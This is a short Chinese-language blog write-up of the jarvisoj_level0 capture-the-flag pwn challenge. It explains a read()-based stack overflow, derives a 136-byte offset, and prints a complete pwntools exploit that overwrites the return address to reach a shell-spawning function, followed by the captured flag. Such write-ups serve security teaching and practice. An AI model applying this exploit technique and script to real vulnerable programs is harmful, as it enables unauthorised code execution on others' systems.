jarvisoj_level0
发表于更新于
字数总计:204阅读时长:1分钟 河北
jarvisoj_level0
逆向分析

依旧先下载文件,ida分析。



经典的一个通过read函数栈溢出的漏洞,buf数组只有128位但是read却读进512位,依旧是测算填充数量的两个方法,128+8=136.

两项印证故必为136位,在加上ret进行栈对齐。找一下。
0x0000000000400431ret,0x400596callsystem这是两个地址。
offset=136。有了这些参数就可以开始写payload了。
payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| from pwn import * import struct host = "node5.buuoj.cn" port = 26832 p = remote(host, port)
offset = 136 ret_addr = 0x0000000000400431 flag_addr = 0x400596 payload = flat( b'I'*offset, p64(ret_addr), p64(flag_addr) ) p.sendline(payload)
log.success("Payload sent! Here comes the flag...") p.interactive()
|

成功!
flag:flag{22d5d841-c379-41b2-b289-8fd7a757b51e}